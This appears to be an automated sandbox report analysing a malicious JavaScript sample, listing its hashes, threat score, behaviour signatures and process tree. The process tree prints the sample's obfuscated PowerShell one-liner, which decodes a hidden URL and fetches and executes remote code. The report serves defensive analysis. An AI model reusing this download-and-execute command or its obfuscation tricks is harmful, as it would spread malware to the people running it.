Overview

overview

10

Static

static

1

data_29_ju...946.js

windows7-x64

10

data_29_ju...946.js

windows10-2004-x64

10

Resubmissions

29/06/2023, 17:18

230629-vvn96aec9410

29/06/2023, 16:35

230629-t3tn6sfb4x10

Analysis

  • max time kernel
    971s
  • max time network
    1233s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230621-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230621-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29/06/2023, 17:18

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    data_29_jun_2388946.js
  • Size 464KB
  • Sample230629-vvn96aec94
  • SHA256 45412b19ec9f4e29129960fa3f1fc4e0e9e7c0b181356dd49221813894887765
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\data_29_jun_2388946.js
    1⤵
      PID:3512
    • C:\Windows\system32\conhost.exe
      conhost --headless powershell @(515,497,505,502,511,522,505,446,502,517,510,447,449,446,512,504,512,463,504,497,515,504,461)|foreach{$gepsdr=$gepsdr+[char]($_-400)};$dvfnik='l';$zsizv=$gepsdr; new-alias tixxs cur$dvfnik;.$([char](8892-8787)+'ex')(tixxs -useb "$guzzus$afizix$asidja$sfozos$zsizv")
      1⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:4376
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell @(515,497,505,502,511,522,505,446,502,517,510,447,449,446,512,504,512,463,504,497,515,504,461)|foreach{$gepsdr=$gepsdr+[char]($_-400)};$dvfnik='l';$zsizv=$gepsdr; new-alias tixxs cur$dvfnik;.$([char](8892-8787)+'ex')(tixxs -useb $guzzus$afizix$asidja$sfozos$zsizv)
        2⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:492

    Network

          MITRE ATT&CK Matrix

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          __PSScriptPolicyTest_c4pcbycx.gqb.ps1
          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_c4pcbycx.gqb.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512
          Submit Download

          memory/492-134-0x0000029866EC0000-0x0000029866EE2000-memory.dmp
          Download

          memory/492-143-0x000002987F4C0000-0x000002987F4D0000-memory.dmp
          Download

          memory/492-144-0x000002987F4C0000-0x000002987F4D0000-memory.dmp
          Download

          memory/492-145-0x000002987F4C0000-0x000002987F4D0000-memory.dmp
          Download